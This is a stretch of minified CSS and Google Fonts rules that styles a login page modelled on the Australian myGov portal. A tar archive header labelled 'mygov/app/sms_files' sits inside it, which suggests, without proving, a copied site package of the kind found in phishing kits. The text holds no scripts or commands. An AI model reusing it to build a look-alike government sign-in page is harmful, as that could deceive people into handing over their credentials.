.create-account-link{font-size:16px;font-size:1rem}.wrapper-mapwap .create-account-text,#inner-content .create-account-text,.unauth .create-account-text{padding-left:25px;padding-left:1.5625rem;margin-top:24px;margin-top:1.5rem;margin-bottom:48px;margin-bottom:3rem;line-height:1.5;position:relative}.wrapper-mapwap .create-account-text:before,#inner-content .create-account-text:before,.unauth .create-account-text:before{width:16px;width:1rem;min-width:16px;min-width:1rem;height:16px;height:1rem;top:4px;top:.25rem;content:"";display:block;background:no-repeat center;background-image:url(../icons/icon-blugov-info.svg);background-size:contain;position:absolute;left:0}.wrapper-mapwap .button-container,#inner-content .button-container,.unauth .button-container{margin-top:30px;margin-top:1.875rem}.wrapper-mapwap .button-container a.button-minor.button,.wrapper-mapwap .button-container .button-minor,#inner-content .button-container a.button-minor.button,#inner-content .button-container .button-minor,.unauth .button-container a.button-minor.button,.unauth .button-container .button-minor{color:#183052;border-color:#183052}.wrapper-mapwap .button-container a.button-minor.button:hover,.wrapper-mapwap .button-container .button-minor:hover,#inner-content .button-container a.button-minor.button:hover,#inner-content .button-container .button-minor:hover,.unauth .button-container a.button-minor.button:hover,.unauth .button-container .button-minor:hover{color:#fff;background-color:#254a7e;border-color:transparent}.wrapper-mapwap .button-container a.button-minor.button:focus,.wrapper-mapwap .button-container .button-minor:focus,#inner-content .button-container a.button-minor.button:focus,#inner-content .button-container .button-minor:focus,.unauth .button-container a.button-minor.button:focus,.unauth .button-container .button-minor:focus{color:#183052;background-color:#fff;border-color:#183052}@media screen and (max-width:640px){.wrapper-mapwap .button-container,#inner-content .button-container,.unauth .button-container{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.wrapper-mapwap .button-container .button,#inner-content .button-container .button,.unauth .button-container .button{margin:auto auto 10px;margin:auto auto .625rem;width:100%}}.wrapper-mapwap .recovery,#inner-content .recovery,.unauth .recovery{margin-bottom:30px;margin-bottom:1.875rem}.wrapper-mapwap .recovery a,.wrapper-mapwap .recovery a.anchor,#inner-content .recovery a,#inner-content .recovery a.anchor,.unauth .recovery a,.unauth .recovery a.anchor{font-size:16px;font-size:1rem}.wrapper-mapwap form span[role="alert"],.wrapper-mapwap form p[role="alert"],#inner-content form span[role="alert"],#inner-content form p[role="alert"],.unauth form span[role="alert"],.unauth form p[role="alert"]{margin-top:8px;margin-top:.5rem}.wrapper-mapwap form label,#inner-content form label,.unauth form label{font-size:16px;font-size:1rem;font-weight:600;color:#000}.wrapper-mapwap form a[aria-expanded],#inner-content form a[aria-expanded],.unauth form a[aria-expanded]{font-size:16px;font-size:1rem}.wrapper-mapwap .digital-id-login-card,#inner-content .digital-id-login-card,.unauth .digital-id-login-card{margin-bottom:30px;margin-bottom:1.875rem}.wrapper-mapwap .hr-word,#inner-content .hr-word,.unauth .hr-word{height:auto;border-bottom:0 none;position:relative}.wrapper-mapwap .hr-word .draw-circle,#inner-content .hr-word .draw-circle,.unauth .hr-word .draw-circle{padding-top:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;background-color:#fff;position:relative}.wrapper-mapwap .hr-word:before,#inner-content .hr-word:before,.unauth .hr-word:before{height:1px;height:.0625rem;content:"";background-color:#c5c5c5;width:100%;top:-webkit-calc(50% - .5px);top:calc(50% - .5px);left:0;position:absolute}.wrapper-mapwap .digital-id-login-card-wrapper .hr-word,#inner-content .digital-id-login-card-wrapper .hr-word,.unauth .digital-id-login-card-wrapper .hr-word{margin-top:0;margin-bottom:0}.wrapper-mapwap .terms-service-text,#inner-content .terms-service-text,.unauth .terms-service-text{font-size:16px;font-size:1rem;margin-top:12px;margin-top:.75rem;margin-bottom:24px;margin-bottom:1.5rem}.wrapper-mapwap .password-group:focus-within button.showPassword,#inner-content .password-group:focus-within button.showPassword,.unauth .password-group:focus-within button.showPassword{border-width:2px;border-width:.125rem;border-left-width:0}.wrapper-mapwap button.showPassword,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap label button.showPassword,#inner-content button.showPassword,#inner-content .input-group button.showPassword,#inner-content label button.showPassword,.unauth button.showPassword,.unauth .input-group button.showPassword,.unauth label button.showPassword{padding:11px 17px 12px 20px;padding:.6875rem 1.0625rem .75rem 1.25rem;height:48px;height:3rem;top:auto;bottom:0}.wrapper-mapwap button.showPassword,.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap .input-group button.showPassword:hover,.wrapper-mapwap label button.showPassword,.wrapper-mapwap label button.showPassword:hover,#inner-content button.showPassword,#inner-content button.showPassword:hover,#inner-content .input-group button.showPassword,#inner-content .input-group button.showPassword:hover,#inner-content label button.showPassword,#inner-content label button.showPassword:hover,.unauth button.showPassword,.unauth button.showPassword:hover,.unauth .input-group button.showPassword,.unauth .input-group button.showPassword:hover,.unauth label button.showPassword,.unauth label button.showPassword:hover{border-top-right-radius:2px;border-top-right-radius:.125rem;border-bottom-right-radius:2px;border-bottom-right-radius:.125rem;border-top-left-radius:0;border-bottom-right-radius:0}.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap button.showPassword:focus,.wrapper-mapwap button.showPassword,.wrapper-mapwap .input-group button.showPassword:hover,.wrapper-mapwap .input-group button.showPassword:focus,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap label button.showPassword:hover,.wrapper-mapwap label button.showPassword:focus,.wrapper-mapwap label button.showPassword,#inner-content button.showPassword:hover,#inner-content button.showPassword:focus,#inner-content button.showPassword,#inner-content .input-group button.showPassword:hover,#inner-content .input-group button.showPassword:focus,#inner-content .input-group button.showPassword,#inner-content label button.showPassword:hover,#inner-content label button.showPassword:focus,#inner-content label button.showPassword,.unauth button.showPassword:hover,.unauth button.showPassword:focus,.unauth button.showPassword,.unauth .input-group button.showPassword:hover,.unauth .input-group button.showPassword:focus,.unauth .input-group button.showPassword,.unauth label button.showPassword:hover,.unauth label button.showPassword:focus,.unauth label button.showPassword{border-width:1px;border-width:.0625rem;border-color:#000;outline:0}.wrapper-mapwap:focus-within button.showPassword,.wrapper-mapwap .input-group:focus-within button.showPassword,.wrapper-mapwap label:focus-within button.showPassword,#inner-content:focus-within button.showPassword,#inner-content .input-group:focus-within button.showPassword,#inner-content label:focus-within button.showPassword,.unauth:focus-within button.showPassword,.unauth .input-group:focus-within button.showPassword,.unauth label:focus-within button.showPassword{padding-top:10px;padding-top:.625rem;padding-bottom:11px;padding-bottom:.6875rem;padding-right:16px;padding-right:1rem}.wrapper-mapwap .input-group.hasError input:focus,.wrapper-mapwap label.hasError input:focus,#inner-content .input-group.hasError input:focus,#inner-content label.hasError input:focus,.unauth .input-group.hasError input:focus,.unauth label.hasError input:focus{border-width:2px;border-width:.125rem;outline-color:#dc3548}.wrapper-mapwap .input-group+.input-group,#inner-content .input-group+.input-group,.unauth .input-group+.input-group{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap .input-group.hasError input,.wrapper-mapwap label.hasError input,.wrapper-mapwap div.hasError input,.wrapper-mapwap .code-container.hasError input,#inner-content .input-group.hasError input,#inner-content label.hasError input,#inner-content div.hasError input,#inner-content .code-container.hasError input,.unauth .input-group.hasError input,.unauth label.hasError input,.unauth div.hasError input,.unauth .code-container.hasError input{border:2px solid #dc3548;border:.125rem solid #dc3548;outline-color:#dc3548}.wrapper-mapwap .input-group.hasError button.showPassword.anchor,.wrapper-mapwap label.hasError button.showPassword.anchor,.wrapper-mapwap div.hasError button.showPassword.anchor,.wrapper-mapwap .code-container.hasError button.showPassword.anchor,#inner-content .input-group.hasError button.showPassword.anchor,#inner-content label.hasError button.showPassword.anchor,#inner-content div.hasError button.showPassword.anchor,#inner-content .code-container.hasError button.showPassword.anchor,.unauth .input-group.hasError button.showPassword.anchor,.unauth label.hasError button.showPassword.anchor,.unauth div.hasError button.showPassword.anchor,.unauth .code-container.hasError button.showPassword.anchor{border-width:2px;border-width:.125rem;padding-top:10px;padding-top:.625rem;padding-bottom:11px;padding-bottom:.6875rem;padding-right:16px;padding-right:1rem;border-color:#dc3548}.wrapper-mapwap .input-group.hasError button.showPassword.anchor:hover,.wrapper-mapwap .input-group.hasError button.showPassword.anchor:focus,.wrapper-mapwap label.hasError button.showPassword.anchor:hover,.wrapper-mapwap label.hasError button.showPassword.anchor:focus,.wrapper-mapwap div.hasError button.showPassword.anchor:hover,.wrapper-mapwap div.hasError button.showPassword.anchor:focus,.wrapper-mapwap .code-container.hasError button.showPassword.anchor:hover,.wrapper-mapwap .code-container.hasError button.showPassword.anchor:focus,#inner-content .input-group.hasError button.showPassword.anchor:hover,#inner-content .input-group.hasError button.showPassword.anchor:focus,#inner-content label.hasError button.showPassword.anchor:hover,#inner-content label.hasError button.showPassword.anchor:focus,#inner-content div.hasError button.showPassword.anchor:hover,#inner-content div.hasError button.showPassword.anchor:focus,#inner-content .code-container.hasError button.showPassword.anchor:hover,#inner-content .code-container.hasError button.showPassword.anchor:focus,.unauth .input-group.hasError button.showPassword.anchor:hover,.unauth .input-group.hasError button.showPassword.anchor:focus,.unauth label.hasError button.showPassword.anchor:hover,.unauth label.hasError button.showPassword.anchor:focus,.unauth div.hasError button.showPassword.anchor:hover,.unauth div.hasError button.showPassword.anchor:focus,.unauth .code-container.hasError button.showPassword.anchor:hover,.unauth .code-container.hasError button.showPassword.anchor:focus{background-color:#dc3548;border-color:#dc3548;color:#fff;outline:0}.wrapper-mapwap .main-block{margin-top:65px;margin-top:4.0625rem}@media screen and (min-width:640px){.wrapper-mapwap .main-block{padding:0 70px;padding:0 4.375rem}.wrapper-mapwap .main-block .unauth{padding:0}}html{font-size:100%}html body{font-size:18px;font-size:1.125rem}html .unauth .button-digital-identity,html .unauth .button-main,html #inner-content .button-main,html #modal-btn,html .button-container .button-main{border-radius:5px;border-radius:.3125rem;height:48px;height:3rem;color:#172f50;background-color:#99e1f3;border:0}html .unauth .button-digital-identity:hover,html .unauth .button-main:hover,html #inner-content .button-main:hover,html #modal-btn:hover,html .button-container .button-main:hover{color:#fff;background-color:#254a7e}html .unauth .button-digital-identity:focus,html .unauth .button-main:focus,html #inner-content .button-main:focus,html #modal-btn:focus,html .button-container .button-main:focus{outline-width:2px;outline-width:.125rem;color:#172f50;background-color:#99e1f3}html .unauth a.anchor,html .unauth button.anchor,html .external-links-zone a,html .form-terms-link,html a.button-back,html .create-account-link,html .help-info,html .help-info-button,html .wrapper-mapwap .help-info,.wrapper-mapwap html .help-info,html #inner-content .help-info,#inner-content html .help-info,html .unauth .help-info,.unauth html .help-info,html .error-msg-text a,html .accordion-link{color:#254a7e}html .unauth a.anchor:hover,html .unauth button.anchor:hover,html .external-links-zone a:hover,html .form-terms-link:hover,html a.button-back:hover,html .create-account-link:hover,html .help-info:hover,html .help-info-button:hover,html .wrapper-mapwap .help-info:hover,.wrapper-mapwap html .help-info:hover,html #inner-content .help-info:hover,#inner-content html .help-info:hover,html .unauth .help-info:hover,.unauth html .help-info:hover,html .error-msg-text a:hover,html .accordion-link:hover{background-color:#254a7e;color:#fff}html .unauth a.anchor:focus,html .unauth button.anchor:focus,html .external-links-zone a:focus,html .form-terms-link:focus,html a.button-back:focus,html .create-account-link:focus,html .help-info:focus,html .help-info-button:focus,html .wrapper-mapwap .help-info:focus,.wrapper-mapwap html .help-info:focus,html #inner-content .help-info:focus,#inner-content html .help-info:focus,html .unauth .help-info:focus,.unauth html .help-info:focus,html .error-msg-text a:focus,html .accordion-link:focus{outline:2px solid #183052;outline:.125rem solid #183052;color:#254a7e;background-color:unset}ul.account-options{margin:23.5px -12.5px 22.5px;margin:1.46875rem -0.78125rem 1.40625rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap;list-style:none;padding:0}ul.account-options>li{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap}ul.account-options>li .item{border:1px solid #d9d9d6;border:.0625rem solid #d9d9d6;border-radius:5px;border-radius:.3125rem;padding:25px 28px 50px;padding:1.5625rem 1.75rem 3.125rem;margin:12.5px;margin:.78125rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap;-webkit-box-flex:1;-webkit-flex:1 1 auto;-ms-flex:1 1 auto;flex:1 1 auto}ul.account-options>li .item h2{font-size:24px;font-size:1.5rem;margin-bottom:16px;margin-bottom:1rem;margin-top:0;line-height:1.33333;font-weight:500}ul.account-options>li .item .button-container{margin-top:auto;margin-bottom:0;text-align:left}ul.account-options>li .item .button-container>*{padding:7px 32px;padding:.4375rem 2rem;min-height:48px;min-height:3rem;display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:auto;height:auto;line-height:1}ul.account-options>li:not(:last-child) .item{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1}ul.account-options>li:not(:last-child):after{margin:12.5px;margin:.78125rem;font-size:22px;font-size:1.375rem;padding:13px 12px;padding:.8125rem .75rem;min-width:53px;min-width:3.3125rem;content:"OR";border-radius:50%;-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;line-height:1.31818;font-weight:500;background-color:#f1f1f1}@media screen and (min-width:768px){ul.account-options>li:last-child{-webkit-box-flex:0;-webkit-flex:0 1 auto;-ms-flex:0 1 auto;flex:0 1 auto;width:-webkit-calc(50% - 39px);width:calc(50% - 39px);width:-webkit-calc(50% - 2.4375rem);width:calc(50% - 2.4375rem)}}@media screen and (min-width:768px){ul.account-options>li{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap}}@media screen and (min-width:768px){ul.account-options{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap}}.di-link h1{font-size:40px;font-size:2.5rem;margin-bottom:19px;margin-bottom:1.1875rem;line-height:1.325;margin-top:0}.di-link p{line-height:1.55556;margin-top:0}.di-connected-success button{width:50%}form>*:first-child{margin-top:17px;margin-top:1.0625rem}form legend.non-heading{font-size:16px;font-size:1rem;padding-bottom:12px;padding-bottom:.75rem;margin-bottom:-9px;margin-bottom:-0.5625rem}form .new-password-group .input-group{margin-bottom:24px;margin-bottom:1.5rem}form input[type="radio"]+label{padding-left:44px;padding-left:2.75rem;margin-left:-14px;margin-left:-0.875rem;margin-bottom:0;font-weight:400;width:-webkit-calc(100%+14px);width:calc(100%+14px)}.wrapper-mapwap .button-container,.unauth .button-container{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap .button-container .button,.unauth .button-container .button{height:48px;height:3rem;margin-right:12px;margin-right:.75rem;line-height:1}.wrapper-mapwap .button-container .button:hover,.unauth .button-container .button:hover{text-decoration:none}.wrapper-mapwap .button-container .button:focus,.unauth .button-container .button:focus{outline-width:2px;outline-width:.125rem}.wrapper-mapwap .button-container .button:last-child,.unauth .button-container .button:last-child{margin-right:0}.wrapper-mapwap .hasInfo,.unauth .hasInfo{border-left-color:#254a7e}.wrapper-mapwap .hasInfo a,.unauth .hasInfo a{color:#254a7e}.wrapper-mapwap #resetPasswordPair .hasError span.hasError p,.unauth #resetPasswordPair .hasError span.hasError p{margin-top:0}.wrapper-mapwap #resetPasswordPair p:last-of-type,.unauth #resetPasswordPair p:last-of-type{margin-bottom:0}.wrapper-mapwap #resetPasswordPair ul,.unauth #resetPasswordPair ul{margin-top:8px;margin-top:.5rem;margin-bottom:13px;margin-bottom:.8125rem}.wrapper-mapwap #resetPasswordPair ul li,.unauth #resetPasswordPair ul li{margin-bottom:0}.wrapper-mapwap #resetPasswordPair ul,.wrapper-mapwap #resetPasswordPair ul li,.unauth #resetPasswordPair ul,.unauth #resetPasswordPair ul li{line-height:1.55556}.wrapper-mapwap #resetPasswordPair .help-info-group+#security-codes-info+*,.unauth #resetPasswordPair .help-info-group+#security-codes-info+*{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap #resetPasswordPair #security-codes-info,.unauth #resetPasswordPair #security-codes-info{font-size:inherit}.wrapper-mapwap #resetPasswordPair #security-codes-info p:first-of-type,.unauth #resetPasswordPair #security-codes-info p:first-of-type{margin-top:9px;margin-top:.5625rem}.wrapper-mapwap form input[type="radio"]:checked+label{font-weight:400}.wrapper-mapwap form input[type="radio"]:checked+label:after{box-shadow:0 0 0 2px #254a7e;box-shadow:0 0 0 .125rem #254a7e;background-color:#254a7e}.wrapper-mapwap form input[type="radio"]:checked+label:before{display:none}.wrapper-mapwap form input[type="radio"]+label{font-size:16px;font-size:1rem}.wrapper-mapwap form input[type="radio"]+label:before{display:none}.wrapper-mapwap form input[type="radio"]+label:after{width:10px;width:.625rem;height:10px;height:.625rem;left:19px;left:1.1875rem;box-shadow:0 0 0 2px #000;box-shadow:0 0 0 .125rem #000;border:3px solid #fff;border:.1875rem solid #fff;background-color:transparent;top:0;bottom:0;margin:auto;position:absolute;display:block;border-radius:50%;box-sizing:content-box;content:""}.wrapper-mapwap form input[type="radio"]:focus+label{outline:2px solid #254a7e;outline:.125rem solid #254a7e}.unauth-grid{width:100%}.unauth-grid .unauth-grid-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}.unauth-grid .unauth-grid-row .header-links{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.unauth-grid .unauth-grid-row .header-links a{font-size:16px;font-size:1rem;color:#000}.unauth-grid .unauth-grid-row .header-links a:hover{color:#fff;background-color:#254a7e}img#unauth-govt-crest{width:100%;height:auto}.unauth-govt-crest__link{width:174px;width:10.875rem}@media screen and (min-width:640px){.unauth-govt-crest__link{width:236px;width:14.75rem}}@media screen and (min-width:1024px){.unauth-govt-crest__link{width:328px;width:20.5rem;height:auto}}.brand-rainbow{display:none}header.mgvEnhanceHeader{background-color:#66d3ee;height:auto;min-height:0;border:0 none;color:#000}header.mgvEnhanceHeader[role="banner"]>.wrapper{min-height:0;padding:0}header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding-right:20px;padding-right:1.25rem;padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem;width:100%;margin-right:auto;margin-left:auto;padding:16px 20px;padding:1rem 1.25rem;min-height:69.77px;min-height:4.36063rem;height:auto}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1024px;width:64rem}}@media screen and (min-width:1244px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1244px;width:77.75rem}}@media screen and (min-width:1360px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1360px;width:85rem}}@media screen and (min-width:640px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{min-height:83.24px;min-height:5.2025rem}}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding:50px 40px;padding:3.125rem 2.5rem;min-height:192.4px;min-height:12.025rem}}@media screen and (min-width:992px){html footer[role="contentinfo"] .footer-lower,.unauth footer[role="contentinfo"] .footer-lower{-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row}}html footer[role="contentinfo"]>.wrapper,.unauth footer[role="contentinfo"]>.wrapper{padding-right:0;padding-left:0}html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{padding-right:20px;padding-right:1.25rem;padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem;width:100%;margin-right:auto;margin-left:auto;padding-bottom:40px;padding-bottom:2.5rem}@media screen and (min-width:1024px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}@media screen and (min-width:1024px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1024px;width:64rem}}@media screen and (min-width:1244px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1244px;width:77.75rem}}@media screen and (min-width:1360px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1360px;width:85rem}}html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:56px;height:3.5rem;max-width:322px;max-width:20.125rem;margin-bottom:46px;margin-bottom:2.875rem}html footer[role="contentinfo"] .footer-lower-logo img,.unauth footer[role="contentinfo"] .footer-lower-logo img{height:100%}html footer[role="contentinfo"] .footer-lower-logo>a,.unauth footer[role="contentinfo"] .footer-lower-logo>a{display:inline}@media screen and (min-width:576px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:68px;height:4.25rem;max-width:390px;max-width:24.375rem}}@media screen and (min-width:992px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:54px;height:3.375rem;max-width:308px;max-width:19.25rem;margin-right:32px;margin-right:2rem;margin-bottom:0}}@media screen and (min-width:1200px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:68px;height:4.25rem;max-width:390px;max-width:24.375rem}}mygov/app/sms_files/css000064400000037222151676702570011212 0ustar00/* cyrillic-ext */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 200;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 200;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* vietnamese */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 200;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 200;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 200;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* vietnamese */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* vietnamese */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2) format('woff2');
  unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
